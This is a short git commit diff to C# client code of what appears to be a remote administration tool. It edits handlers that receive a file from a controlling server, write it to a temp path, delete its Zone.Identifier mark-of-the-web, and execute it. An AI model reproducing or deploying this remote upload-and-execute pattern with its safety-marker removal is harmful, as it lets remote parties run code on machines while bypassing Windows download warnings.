Small fix

This commit is contained in:
MaxXor 2015-09-05 15:47:06 +02:00
parent 161ad5063d
commit 524a682c66
2 changed files with 12 additions and 9 deletions

View File

@ -59,9 +59,9 @@ public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate com
} }
catch (Exception ex) catch (Exception ex)
{ {
NativeMethods.DeleteFile(filePath);
if (_renamedFiles.ContainsKey(command.ID)) if (_renamedFiles.ContainsKey(command.ID))
_renamedFiles.Remove(command.ID); _renamedFiles.Remove(command.ID);
NativeMethods.DeleteFile(filePath);
new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client); new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client);
} }

View File

@ -69,25 +69,26 @@ public static partial class CommandHandler
public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client) public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client)
{ {
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), if (!_renamedFiles.ContainsKey(command.ID))
command.FileName); _renamedFiles.Add(command.ID, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName)));
string filePath = _renamedFiles[command.ID];
try try
{ {
if (command.CurrentBlock == 0 && Path.GetExtension(command.FileName) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block)) if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block))
throw new Exception("No executable file"); throw new Exception("No executable file");
FileSplit destFile = new FileSplit(filePath); FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{ throw new Exception(destFile.LastError);
new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
client);
return;
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
{ {
if (_renamedFiles.ContainsKey(command.ID))
_renamedFiles.Remove(command.ID);
FileHelper.DeleteZoneIdentifier(filePath); FileHelper.DeleteZoneIdentifier(filePath);
ProcessStartInfo startInfo = new ProcessStartInfo(); ProcessStartInfo startInfo = new ProcessStartInfo();
@ -105,6 +106,8 @@ public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExe
} }
catch (Exception ex) catch (Exception ex)
{ {
if (_renamedFiles.ContainsKey(command.ID))
_renamedFiles.Remove(command.ID);
NativeMethods.DeleteFile(filePath); NativeMethods.DeleteFile(filePath);
new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client); new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client);
} }